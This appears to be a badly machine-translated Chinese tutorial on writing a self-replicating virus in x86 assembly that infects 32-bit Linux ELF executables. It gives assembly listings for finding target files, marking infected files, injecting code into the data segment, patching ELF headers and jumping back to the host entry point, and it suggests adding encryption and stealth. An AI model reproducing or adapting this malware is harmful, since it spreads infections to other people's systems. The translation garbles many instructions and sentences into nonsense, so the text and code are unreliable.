如何使用汇编语言编写一个病毒

怎样装配语言中病毒的编制

序诵

病毒写的巧妙如同曾经溶解了。。我们家不吝啬的祸心软件。,木马计,蠕虫等相称病毒。。你可以使用随便哪一近亲的手稿按次语言去写那个渣滓按次同时拍着本人的加背书于嘚瑟一下,但这别客气克不及让你相称病毒作者。。写计算机病毒别客气明确的是你通知的消灭。,这也发动你的病毒扩大的漫游和弃权被检测到的评分。,它也比防病毒软件公司更情报。。它是顾虑开创和心灵手巧的。。计算机病毒在很多形势就像纸质木工刨。。你理由用情报和创作能力的方法墨鱼木工刨。,并默想使它在不可弃权的着陆前尽量久长的派系。在万维网屯积,扩大病毒是一应战。。走运好的话,它会传染除你越过的随便哪一电脑。。假使走运能力更强的,你的病毒将与鲸目动物的病毒或Michelangelo viru有同一的的名气。。

假使你想被对待病毒作者,你一定接待恰好是的的面子。。暗切中要害黑客规划,黑客/黑客/妨碍者,我最遵守的是病毒作者。。因没重要的人物能做到。,这真的能证实他比别的更深。、体系和软件知。你不克不及认为相称一复杂的病毒创造者遵照国际公约。。写一真正的病毒理由比普通黑客更多的技术。。积年之后,我没能写一运转良好的二元系证件来传染病毒。。不朽过失的。、报错、报错。这是一件参加失望的的事实。。因而我执写蠕虫。、金衡制炸弹和ANSI炸弹。我执写BBS孔。,还可以使恶化电视频率游玩软件打击版权维护。。随时基准我所持的论点我的编制技术终极就十足了。,当默想写病毒时,,不及格再次将满在我的脸上。。我花了好几年的工夫才写出了一真正可实行的的病毒。。这执意为什么我被病毒迷住了,想找出少量地真正的病毒。。在瑞安“elfmaster”奥尼尔演义的书《努力赶上Linux二元系按次剖析》中,他转位:

这是一踏过支配编程序国际公约的很多的应战一件商品。,它理由条件开发人员跳出会议方法。,支配权代码、唱片和事件使它在一种评分上表现出版。,当与AV防病毒软件开发人员传达时,令我诧异的是,,他们次要的没重要的人物对怎样使恶化病毒有随便哪一动机。,更不必说设计随便哪一真正的探查法来辨别它们(而且署名)。其实,病毒写是恰好是争论的。,理由规范变结实的技术。。

装配语言中病毒的编制

病毒是一门巧妙。。缀编和C(不使用代码库)将是你的画笔。。赠送,我会扶助你们处置我对付的少量地应战。。开端吧。,看一眼你可能性的选择有相称巧妙家的潜力。!

在两样我先前的源代码传染病毒跑过。,这是一更上进和负有应战性的亲身经历/使用(平坦的是E)。。除了,我使振作你尽量多地显示和吸取。。

让我们家先来描写一下我的动机。、真正的病毒得具有少量地特点。:

病毒会传染二元系可履行证件。

——病毒代码一定是孤独的,它与另一个证件关心。、代码库、按次等。

受传染的负责人证件可以持续履行和运输病毒。

病毒像食客相等地不消灭主机证件。。传染的主机得持续表现,仿佛它们被传染了相等地。

因我们家想传染二元系可履行证件。,照着,扼要绍介了两样的可履行典型。。

  • ELF-(可履行和环的证件格式)Unix和类Unix体系规范的的二元系证件格式。这也很多遥控器。,游玩玩家(游玩站),任天堂)这么等等。。
  • machine 机器o -(machine 机器情郎)是NeXTSTEP,macOS,IOS等,二元系可履行证件格式使用,你有效地是在使用它。,因主宰苹果遥控器都在喂。。
  • 32位和64位微软手柄的PE(可嫁接法可履行按次)
  • MZ(DOS) DOS帮助的可履行证件格式…主宰微软32和以下手柄体系被使用。
  • COM(DOS) DOS帮助的可履行证件格式…主宰微体系在32和以下手柄体系下运转。

有很多微软病毒跑过。,除了ELF病毒如同更具应战性,同时跑过幼小的。,因而我最喜欢的是32个ELF一件商品的传染。。

基准我所持的论点朗读者反正有一种会议的领会。。假使心不在焉,我提议你显示我先前的视频博客文字。:

Stupid Simple Computer Virus in 3 Lines of Code

How to Create a Computer Virus

How to Make a Simple Computer Virus with Python

第一流的步是找到要被传染的证件。。DOS操作指南集悠闲地找到证件。。AH:4Eh INT 21操作指南可以基准赠送的的证件找到第一流的婚配证件。,和啊:4FH INT 21,你可以找到下一婚配证件。。三灾八难的是,对我们家来说,事实不能胜任的这么大的复杂。。使用Linux按次集检索证件列表,这故障很多互相牵连的证件。。多数的两三个答复中我们家见它依赖于POSIX体系的readdir()作用。但我们家是黑客。,马上的?让我们家做黑客得做什么来使完满它。。你得熟习的器是Strues。。跑步机 ls,当运转ls命令时,我们家通知,体系转学和打旗语顺风的。

AH:4Eh INT 21操作指南

你感兴趣的听筒是GET。。因而下一步是寻觅Geress。。这会给我们家少量地激励。,我们家得怎样使用它,那时的怎样接待大学概况一览的列表。。这执意我见的。:

  1. 电动摩托车, 5      ; sys_open 
  2. MOV EBX,证件夹;大学概况一览名。
  3. MOV ECX, 0 
  4. MOV-EDX, 0 
  5.     int 80h 
  6. 物质的化学结合机械抛光,0、反省EAX切中要害FD可能性的选择为>0(ok)
  7. JBE过失;无法翻开证件,过失脱离
  8. MOV EBX, eax     
  9.     电动摩托车, 0xdc   ; sys_getdents64  
  10. MOV ECX, buffer  
  11. MOV-EDX, len  
  12.     int 80h  
  13.     电动摩托车,6;亲近的
  14.     int 80h 

如今,大学概况一览的使满足曾经在我们家标明的缓冲剂中。,我们家一定剖析它。。出于一种账目,事实上每个证件名,如同心不在焉划一的偏移量。,但或许我错了。。但我只对那个原始的字母串解释感兴趣。。我所做的是油印缓冲剂到规范出口。,那时的将其保存到另一证件。,那时的使用十六二元系编者翻开它。。我见每一证件名都有一前缀。,前缀由十六二元系值0x00(NULL)结合,后头是一六重奏。。证件名由NULL判决无效(后缀是十六二元系0x00)。

  1. find_filename_start: 
  2. 在证件名开端屯积查找序列0008。
  3. 添加EDI, 1 
  4. CMP EDI, len  
  5. 杰吉德
  6. CMP音节[缓冲剂 EDI], 0x00  
  7.     jnz find_filename_start  
  8. 添加EDI, 1 
  9. CMP音节[缓冲剂 EDI], 0x08  
  10.     jnz find_filename_start  
  11. 异或ECX,ECX空。,它将作为证件被装支管。
  12. find_filename_end: 
  13. 排空ECX,它将作为证件被装支管。
  14. 添加EDI, 1  
  15. CMP EDI, len     
  16. 杰吉德
  17. 防波堤BL,[缓冲剂 EDI];从缓冲剂移走证件名使分开。
  18.     mov [file+ecx], bl  
  19.     inc ecx                 ; 增添保存在ecx的偏移量 
  20. CMP音节[缓冲剂 EDI],0x00;表现证件名的煞尾。
  21.     jnz find_filename_end 
  22. MOV音节[证件 ECX ],0x00;在喂,我们家接待证件的解释。,在它的附属物上加一0x00。
  23. 对刚过去的证件做少量地手柄。
  24.     jmp find_filename_start ; 找下一证件 

其实有能力更强的的方法来做这些事实。。您理由做的是婚配大学概况一览条终点音节构造。:

  1. struct linux_dirent { 
  2.                unsigned long  d_ino;     /* Inode number */ 
  3.                unsigned long  d_off;      /* 下一linux_dirent的偏移 */ 
  4.                unsigned short d_reclen;  /* 刚过去的linux_dirent的长 */ 
  5.                char           d_name[];  /* 证件名 (null煞尾) */ 
  6.                                  /* length is actually (d_reclen - 2 - 
  7.                                     offsetof(struct linux_dirent, d_name)) */ 
  8.                /* 
  9.                char           pad;       // Zero padding byte 
  10.                char           d_type;    // File type (only since Linux 
  11.                                          // ); offset is (d_reclen - 1) 
  12.                */ 
  13.            } 
  14. struct linux_dirent64 { 
  15.                ino64_t        d_ino;    /* 64位inode number */ 
  16.                off64_t        d_off;    /* 64位下个structure的偏移 */ 
  17.                unsigned short d_reclen; /* 刚过去的dirent的长 */ 
  18.                unsigned char  d_type;   /* 证件典型 */ 
  19.                char           d_name[]; /*证件名 (null煞尾) */ 
  20.            }; 

但我使用的是我见的方法。,它不使用构造切中要害偏移量。。

下一步是反省证件。,看一眼可能性的选择:

这是一ELF可履行证件。

它被传染了吗?

早点儿时辰,我为两样的手柄引入了两样典型的可履行证件。。这些证件典型在它们的证件头上有两样的预示。。拿 … 来说,ELF证件不朽出生于7F45 4c46开端。45-4c-46是ASCII字母E-L-F的施魔法表现。

假使转储Windows可履行证件,则有十六二元系唱片,你会通知它从4D5A开端。,代表字母Z。

十六二元系转储OSX可履行证件显示)技术援助委音节CEFA。 EDFE,这也一小的饲料。 FACE”。

在喂你可以通知更多的可履行证件格式和它们各自的跺脚。:

0edd1e00

在我的病毒里,据我看来把我的跺脚写在ELF证件第九的头上 – 12音节在未使用的空隙。这是个好空隙。,它可以用来贮存器一双字0EDD1E00-我的名字。。

我理由刚过去的来跺脚我传染的证件。,照着,我不能胜任的再次传染受传染的证件。。抑或,传染证件的长将越来越大,如SoNB。,最早见了耶路撒冷病毒。。

复杂地读取前12个音节。,我们家能确担保件是一晴天的传染目的吗?。我测算表把每个潜在的目的贮存器在一独自的缓冲剂中。,称之为目的。。

如今它开端说服越来越难了。。为了传染ELF证件,你理由相识的人关心ELF证件构造的使结合成为整体性。。这是努力赶上的好根源。:。

不同的复杂的COM证件,ELF有少量地两样的应战。。复杂来说,ELF证件包孕:ELF头,按次头,节头,命令手柄码。

ELF桅顶告知我们家顾虑按次头和HEA的通讯。。它还告知我们家按次门口点在内存切中要害得第二名(FI)。

刚过去的表现告知我们家。,哪个周相属于译文段?,哪个周相属于唱通道?,也给予了证件切中要害偏移量。。

该节供应了顾虑每个大吃大喝和他们的周相的通讯。。这可能性细长地杂乱。。率先要领会的是,一可履行证件与D两样。,这些头在这两个形势给予了互相牵连的通讯。。

译文段是可被读取/履行的代码段。,它牵制我们家的代码和另一个只读唱片。。

唱通道是可读/写的唱通道。,它牵制顾虑全程变量和静态环的通讯。。

在译文段中,有A译文使分开和A RODATA使分开。。周相唱片,有A使分开和BSS使分开。。

假使你熟习装配语言,这些章节解释回响得很熟习。。

译文是代码驻留的空隙。,唱片是全程变量设定初值的空隙。。BSS牵制未设定初值的全程变量。,因它心不在焉设定初值。,因而心不在焉应用磁盘留空隙。。

不同的PE证件(微软),ELF证件中心不在焉这样的传染区域。。过时DOS、COM证件事实上容许你在随便哪一空隙添加病毒代码,那时的在100 刚过去的地址封面了内存代码(因COM证件不朽在100)。 H的内存地址开端测图。。ELF证件不容许您写译文段。。这些是传染ELF病毒的首要道路。:

受传染译文段填空区

译文通道的传染跟踪。我们家可以应用ELF证件的特点。,当装满到内存中,跟踪将使用0填空到使结合成为整体的内存页中。。内存页长限度局限,因而我们家只在32位体系中保存一4。 KB病毒或64位体系切中要害2位。 MB病毒。可能性寻找很小。,但它也足以保存用C或缀编写的小病毒。。这一目的的使完满是:

修正门口点(ELF头)到译文使分开的末了。

增添表中页的长(精灵头)

——增添Text段的证件长和内存长为病毒代码的长

在病毒被寄生后遍历每个按次头。,基准年史长增添一致的的偏移量。

查找译文段的末尾一节。,增添结(头)的长

传染后横贯病毒的每一使分开。,基准年史长增添一致的的偏移量。

——在.text节的跟踪拔出实践的病毒代码

——拔出病毒代码后清晰地到原始负责人的门口点。履行

译文通道的反向传染

在容许负责人代码的同时,译文使分开的前段受到传染。。我们家将在相反的支座增加译文段。。现代主义者Linux体系中容许的最小假定的测图地址为0x100。,这是我们家可以反向增加译文段的限度局限长。。浅谈64位制,默许译文段假定的地址通常为0x4000。,在ELF头长为RE然后,可以保存0x3FF000的大块。。浅谈32位制,默许译文段假定的地址通常为0x08048。,这可能性会产生更多的病毒。。使完满这一目的的方法是:

——增添节表(在ELF头)里的偏移为病毒长(对下一内存页登记值取余)

译文段按次头,本长的假定的地址(和物理地址)缩减

译文段按次头,基准病毒长增添证件长和内存长

基准病毒的长(再次),遍历每个按次头的偏移量,将其值增添到译文段上级的。

——修正门口点(在ELF头)到原始的text段假定的地址——病毒的长(再次取余)

基准病毒的长(再次),增添按次头偏移(在ELF桅顶上)

将病毒质地拔出译文段的开动

唱通道传染

传染唱通道。我们家将把病毒代码附加到data段(在.bss节屯积)。因它是唱片的一使分开。,我们家的病毒代码可以尽量的大,就像我们家认为的这么。。唱片贮存器段唱片具有R。 + W(读写)当权者设置,译文内存有R。 + X(读取和履行)当权者设置。在心不在焉NX位设置的体系中,拿 … 来说32位Linux体系。,可以在不更改当权者的制约下履行周相唱片切中要害代码。。除了,另一个体系理由条件您在内存段添加可履行跺脚。。

基准病毒的长,增添头部的偏移量

将门口点(在ELF头)修正为唱通道的煞尾(V)

在唱通道按次头中,本病毒长增添年史长和内存长

增添BSS使分开的偏移量(发动VIR的长)

设置唱通道的可履行当权者位(32位Linux体系)。

将病毒质地拔出到唱通道的末了

——拔出代码,清晰地到原始负责人的门口点。

自然,有更多的方法被传染。,但这些都是第一流的选择。。以我们家为例,将采取前述的第三种方法。。

写病毒的另一首要错误是变量。。梦想制约下,我们家小病兼并.DATA和BSS使分开。。而且,一旦编制或编制病毒,无法担保您的病毒一直做同一的假定的添加中。。其实,这事实上不朽不能胜任的产生。,在这种制约下,负责人按次会投错周相。。因而在梦想的制约下,您认为将病毒限度局限在详述的区域。:.text。假使你有编纂亲身经历,你相识的人这是一应战。。我将和你分享少量地虚伪行为。,它得使加工更轻易。。

率先,让我们家看一眼.data变量(设定初值)。假使可能性的话,硬编码值。或许,认为我有我的.ASM代码。:

  1. 把正式送入精神病院唱片
  2. 证件夹DB。, 0 
  3. 伦2048
  4. 丝裂霉素32
  5.     elfheader dd 0x464c457f     ; 0x7f454c46 ->反向音节按次
  6.     signature dd 0x001edd0e     ; 0x0edd1e00 交换音节序后的署名 
  7. BSS
  8.     filename: resb filenamelen  ; 目的证件途径 
  9.     buffer: resb len            ; 主宰的证件名 
  10.     targets: resb len           ; 目的证件名 
  11.     targetfile: resb len        ; 目的证件使满足 
  12. 译文使分开
  13.     global v1_start 
  14. v1_start: 
  15. 你可以恰好是的做: 
  16. 呼叫署名
  17.     dd 0x001edd0e     ; 0x0edd1e00交换音节序后的署名 
  18. signature: 
  19. POP ECX;如今它的等值的在ECX。

我们家正使用的是,转学转学操作指南时,呼叫的一般操作指南的相对地址将被按下。。

照着,我们家可以经过每个唱通道切中要害变量来处置刚过去的成绩。。

顾虑BSS使分开切中要害变量(未设定初值),我们家理由贮存器一定数量的音节唱片。。我们家在.text节里恰好是的做因它属于Text代码段,其属性被跺脚为r + X(读取和履行),在该内存段中学习唱片是不容许的。。因而我决定使用堆栈。。栈?是的,一旦我们家将音节压入栈中,我们家可以通知堆栈有指导意义的事物并保存这些)技术援助委。。上面是我的处置方案的一围住。:

  1. 为未设定初值变量翻开堆栈存储留空隙以弃权使用
  2. MOV ECX,2328;设置传送计数2328。x4=9312音节)。证件名(ESP), buffer (esp+32), targets (esp+1056), targetfile (esp+2080) 
  3. loop_bss: 
  4.     push 0x00       ; 压入4个音节(双字)的0 
  5. 子ECX,1;减一。
  6. 物质的化学结合机械抛光ECX, 0 
  7.     jbe loop_bss 
  8. MOV EDI,ESP;ESP具有我们家吝啬的伪造的BSS偏移量。。让我们家把它贮存器在EDI中。。 

当心,我曾经按下0x00音节(按32双压机),精密的地被说成指示的长。。精密的地说,我们家挤了2328下。。这将给我们家大概9312音节的留空隙使用。。一旦我使完满主宰0音节栈,贮存器ESP的值(即,我们家的堆栈有指导意义的事物),并把它作为我们家锻制的BSS的根底。。我可以援用ESP。 拜访两样的变量。在我的围住中,我保存的[ESP]对应于证件名。,科特雷耳电集尘器 + 32)对应于缓冲剂。,科特雷耳电集尘器 + 1056)对应于目的。,那时的科特雷耳电集尘器 + 2080]对应targetfile。

如今我可以完整切除.DATA和.BSS使分开的使用。,整个病毒由独一无二的的译文使分开提供。!

Read是一恰好是可供使用的的器。。运转readelf A[证件]将给予ELF头/按次头/头的少量地细部。:

喂有三个使分开。:.text、.data、.bss

text节

在喂,我们家消而且BSS使分开。:

消而且.bss节

在喂,我们家曾经完整消而且唱通道。。我们家可以使用.text使分开孤独地使完满主宰的事实。!

完整消而且.data段

如今我们家理由从负责人证件读取音节唱片到缓冲剂。,对头部举行理由的修正。,喷气式飞机病毒预示物。。假使您曾经使完满了大学概况一览入场构造的作业,这对你有增加。。抑或,我们家将不得不读取一音节到一音节的证件。,直到体系读取EAX的0来回。 X00的呼叫,这指示我们家曾经实现了EOF。:

  1. reading_loop: 
  2.     电动摩托车, 3              ; sys_read 
  3. MOV-EDX,1;一次读取一音节(是),我相识的人这可能性是最好的。
  4.     int 80h  
  5. 物质的化学结合机械抛光,0;假使来回0,我们家读了关心EOF的文字。
  6.     je reading_eof 
  7.     电动摩托车, edi  
  8. 添加EAX, 9312          ; 2080 + 7232 (2080 targetfile在我们家伪造 .bss的偏移) 
  9. 物质的化学结合机械抛光ECX,假使证件超越7232音节, 脱离 
  10. JGE传染
  11. 添加ECX, 1 
  12.     jmp reading_loop 
  13. reading_eof: 
  14.     push ecx                ;保存末尾读取的一音节的地址,我们家之后理由。
  15.     电动摩托车,6;亲近的证件。
  16.     int 80h 

修正缓冲剂恰好是复杂。。记诵,当超出额定范围随便哪一音节时,一定处置反向音节按次(小音节)。。

喂我们家充血病毒跺脚并互换门口点标点我们家在唱通道跟踪的病毒代码。(内存中未被证件长封面的BSS应用的留空隙):

  1. MOV EBX, dword [edi+2080+eax+8]     ; phdr->Vaddr(内存假定的地址)
  2. 添加EBX,新的门口点= PHDR [唱片]>VADDR P[唱片]>filesz 
  3. MOV ECX, 0x001edd0e     ; 在8音节处拔出我们家的预示(ELF头心不在焉用到的节) 
  4. mov [edi+2080+8], ecx 
  5. mov [edi+2080+24],用病毒(缓冲剂)封面旧的门口点

当心到据我看来贮存器0xedd1e00(用施魔法使具有特点写的我的名字)的病毒跺脚,除了反向音节按次给予了0x01ED00E。。

你也会当心到,我使用卖算法找到栈的根源区域驾驶员的T。

如今我们家理由决定方向唱片按次并举行少量地修正。。窍门是率先找到PTHLoad典型。,那时的决定偏移故障0吗?。假使偏移量为0,它是一译文按次头。。抑或,这是唱片。。

  1. section_header_loop: 
  2. BSS把正式送入精神病院经过节头(NoBIT)的传送搜索
  3.    
  4. 0 SyName牵制标点赠送的节的解释字母串的有指导意义的事物。
  5. 4 SHI-型赠送的把正式送入精神病院典型〔节名〕
  6. 8个预示另一个预示
  7. 假定的地址
  8. 10证件偏移量的SH偏移使分开
  9.     ;+14    sh_size zara white phone numba 
  10. 18分隔环的SHILLink
  11. 1C SHIFIN基准把正式送入精神病院典型
  12. 20方位登记
  13.     ;+24    sh_entsize  当节牵制紧握长的门口时被使用 
  14. 添加斧, word [edi+2080+46] 
  15. 物质的化学结合机械抛光ECX, 0 
  16.     jbe finish_infection        ; 未检出的.bss节。不必焦虑。,传染可以使完满。
  17. 子ECX,1;减一。
  18.    
  19. MOV EBX, dword [edi+2080+eax+4]     ; shdr->典型(部分典型)
  20. CMP EBX, 0x00000008         ; 0x08是 NOBITS,区间BSS提供线索
  21.     jne section_header_loop     ; 故障.bss节 
  22.    
  23. MOV EBX, dword [edi+2080+eax+12]    ; shdr->内存假定的地址
  24.     添加EBX, v_stop - v_start   ; 增添我们家病毒的长给 shdr->addr 
  25.     添加EBX,7;为了跳到根源。
  26.     mov [edi+2080+eax+12],使用新的旧SHDR封面。>(缓冲剂)
  27.    
  28. MOV-EDX, dword [edi+2080+eax+16]    ; shdr->偏移(部分偏移)
  29. 添加EDX, v_stop - v_start   ; 增添我们家病毒的长给shdr->offset 
  30. 添加EDX,7;为了跳到根源。
  31.     mov [edi+2080+eax+16],EDX;使用新的旧SHDR封面。>偏移量(在缓冲剂)

我们家还理由修正.bSS桅顶。。我们家可以反省mark NOBITS典型来断定这可能性的选择是结节头。。混合的头不明确的理由运转可履行证件。。因而假使我们家未检出的它,没什么如果事情坏到极点的。,我们家依然可以持续。:

  1. ;dword [edi+2080+24]       ; ehdr->门口(门口点的假定的地址)
  2. ;dword [edi+2080+28]       ; ehdr->Phoff(劣质的表现头)
  3. ;dword [edi+2080+32]       ; ehdr->Shoff(疙瘩偏移)
  4. ;word [edi+2080+40]        ; ehdr->Ehsize(精灵头长)
  5. ;word [edi+2080+42]        ; ehdr->PHEnthScript(按次头的门口长)
  6. ;word [edi+2080+44]        ; ehdr->Phnum(按次用头顶项的数量)
  7. ;word [edi+2080+46]        ; ehdr->Shentsize(头项长)
  8. ;word [edi+2080+48]        ; ehdr->Shnum(按次用头顶项的数量)
  9. 电动摩托车, v_stop - v_start       ; 我们家病毒的长减去到原始门口点的清晰地 
  10. 添加EAX, 7                      ; 为了到原始门口点的清晰地 
  11. MOV EBX,dWord〔EDI 2080+32〕;这么的联盟偏移。
  12. 添加EAX, ebx                    ; 增添原始节头偏移 
  13. mov [edi+2080+32],使用旧的SHDR封面。>偏移量(在缓冲剂)

那时的,自然,我们家理由修正头部偏移量来修正ELF头。,因我们家传染了唱通道的晚期的(在BSS屯积)。按次头容纳在恒等的的得第二名。:

  1. ;dword [edi+2080+24]       ; ehdr->entry (virtual address of entry point) 
  2. ;dword [edi+2080+28]       ; ehdr->PHOFF(按次头偏移)
  3. ;dword [edi+2080+32]       ; ehdr->SHIFF(节头偏移)
  4. ;word [edi+2080+40]        ; ehdr->EHGE(ELF桅顶大块)
  5. ;word [edi+2080+42]        ; ehdr->phentsize (size of one program header entry) 
  6. ;word [edi+2080+44]        ; ehdr->phnum (number of program header entries) 
  7. ;word [edi+2080+46]        ; ehdr->shentsize (size of one section header entry) 
  8. ;word [edi+2080+48]        ; ehdr->shnum (number of program header entries) 
  9. 电动摩托车, v_stop - v_start       ; size of our virus minus the jump to original entry point 
  10. 添加EAX, 7                      ; for the jmp to original entry point 
  11. MOV EBX, dword [edi+2080+32]    ; the original section header offset 
  12. 添加EAX, ebx                    ; add the original section header offset 
  13. mov [edi+2080+32], eax      ; overwrite the old section header offset with the new one (in buffer) 

末尾一步是充血病毒的质地代码。,并使完满清晰地操作指南来回负责人代码门口点。,恰好是的我们家不懂的用户就会通知负责人按次规则运转。。

你可能性会问本人刚过去的成绩是,病毒怎样夺取或抓住本人的代码?病毒是怎样决定本人的长呢?这些都是晴天的成绩。率先,我用)技术援助委来跺脚病毒的开端和完毕。,那时的使用复杂的算学偏移。:

  1. 译文使分开
  2.     global v_start 
  3.    
  4. v_start: 
  5. 病毒体开端
  6. ... 
  7. ... 
  8. ... 
  9. ... 
  10. v_stop: 
  11. 病毒体晚期的
  12.     电动摩托车, 1      ; sys_exit 
  13. MOV EBX,0;规则规定。
  14.     int 80h 

经过恰好是的做,我可以使用VYSTART作为病毒启动时的偏移量。,那时的,可以使用VYSTOT-VYSTART作为音节数(长)。。

  1. 电动摩托车, 4 
  2. MOV ECX,VXSTART;附加病毒使分开。
  3. MOV-EDX,VY-START-VYSTART;病毒音节长
  4. int 80h 

病毒长(VY-中止) – 能力更强的的计算,除了在第一流的次传染后病毒代码的开动(mov ecx, 援用将不及格。。其实,对相对地址的随便哪一援用大都市不及格。,因两样负责人按次的内存得第二名会产生转变。。在编制间计算像VYSTART的)技术援助委的相对地址。,这发动它是怎样电话给的。。你使用的规则短跳就像JMP。、jne、jnz等都将被交换为相事实上一般操作指南的偏移,除了像MOV恰好是的的地址不能胜任的互换。。我们家理由的是变量增量偏移。。Delta偏移量是与一般负责人FIL的假定的地址差。。这么怎样接待delta偏移量呢?这有一我从90年首的DOS病毒跑过“Dark Angel’s Phunky Virus 从导游那边学到的恰好是复杂的技术。:

  1. call delta_offset 
  2. lta_offset: 
  3. 流行病脑出血
  4. 亚EBP, delta_offset 

在一般得第二名转学)技术援助委,一般操作指南的有指导意义的事物(相对地址)就会被压入栈以便于使用的你可以相识的人你RET来回到哪里。我们家仅有的从堆栈中获取刚过去的值,那时的接待标点一般INS的有指导意义的事物。。那时的从CurrE中减去原始病毒的相对地址。,我们家在EBP接待了变量增量偏移。!在原始病毒的履行加工中,δ偏移量为0。。

你会当心到,为了弃权少量地错误,我们家不打听筒叫听筒。,反之亦然。我提议你不要在刚过去的一件商品以及这么大的做。,因很明显。,耽搁呼叫/ RET对将落得功能亏损。…但这别客气规则。。

如今我们家有delta偏移量。,让我们家把VYSTART的援用交换成delta偏移版本。:

  1. 电动摩托车, 4 
  2. 莱卡, [ebp + v_start]    ; 附加病毒使分开 (用delta偏移计算) 
  3. MOV-EDX,病毒唱片长
  4. int 80h 

请当心,我心不在焉在病毒中牵制体系脱离转学。。这是因我不认为病毒在履行负责人屯积脱离。。相反,我用清晰地到原始负责人的代码交换这使分开。。因两样负责人按次的门口点是两样的。,我理由静态地体格它,那时的我将直地拔出公开。。为了找出手柄码,您一定率先相识的人JMP操作指南自己的特点。。JMP操作指南将尝试经过计算。我们家一定资助它相对的位。。我经过缀编一小按次外面的JMP短清晰地和JMP远清晰地算出了它们的施魔法手柄码。JMP 手柄代码从E9代替FF。

  1. MOV EBX, 0x08048080 
  2. JMP EBX
  3. jmp 0x08048080 

安顿后,我运转XXD,那时的反省音节唱片,相识的人怎样把它翻译成。

“xxd”那时的反省音节唱片就相识的人怎样将它翻译成手柄码

  1. pop edx                 ; 主机按次的原始门口点 
  2. MOV[EDI], byte 0xb8        ; MOV EAX的手柄码 (1 byte) 
  3. mov [edi+1],原始门口点(4音节)
  4. mov [edi+5], word 0xe0ff    ; JMP EAX手柄码 (2 bytes) 

MOV双指示EAX末尾表现为B8。 xx xx xx xx。JMP到指示EAX中贮存器的地址末尾表现为FF。 E0

总公共用地7个额定的音节被添加到病毒的晚期的。。这也说明,我们家修正的每个偏移量和证件长一定加到刚过去的额定的7音节中。。

因而我的病毒互换了缓冲剂的头部(而故障证件),那时的用修正的缓冲剂封面主机证件直到我们家病毒代码驻留的偏移得第二名。那时的拔出本人(VSTART),持续学习缓冲音节的其他使分开。,末尾,将控制权转变到原始负责人证件。。

一旦我编制病毒,据我看来人工控制添加病毒跺脚在第八个音节的病毒。。在我的制约下,这可能性故障理由的。,因我的病毒会清晰地目的假使它心不在焉一DATA段的话,但制约并非不朽这么。。翻开你喜欢做的十六全音编者并添加这些音节。!

如今我们家使完满了。,让我们家编制和结帐它。:nasm -f elf -F dwarf -g virus.asm && ld -m elf_i386 -e v_start -o virus.o

我录制了长结帐电视频率。。我回响细长地缺少热心。,仅有的因半夜三更了。,其实,我兴高采烈。。

既然你曾经看完了,喂是我超重的评论病毒代码的环。:

这是一种恰好是复杂的ELF传染病毒。。它也可以经过恰好是复杂的整齐的来改善。:

从ELF桅顶逮捕更多通讯(32或64位)、可履行证件等。

在目的证件缓冲剂后分派证件缓冲剂。为什么?因当我们家取得targetfile缓冲剂时就不再使用证件缓冲剂了,我们家可以挤满证件缓冲剂以取得更大的目的证件缓冲剂。。

遍历大学概况一览,它也可以经过少量地细长地复杂的整齐的来改善。:

细长地封面我们家的轨道和能力更强的的潜入。

——编密码!

——互换特点

使用更争论的检测方法传染

好了,这执意你的整个说谎。。

总结

经过显示这篇文字,我认为你也能取得少量地顾虑探试法病毒检测知(而不理由搜索详述病毒特点)。或许这将是另一天的基本图案。。或许我会绍介OSX病毒。…或许我会做少量地好事,表演一诺迪斯病毒。。

[编辑程序的提议]

【责任编辑程序:

它激怒的

TEL:(010)68476606】

点赞 0

发表评论

电子邮件地址不会被公开。 必填项已用*标注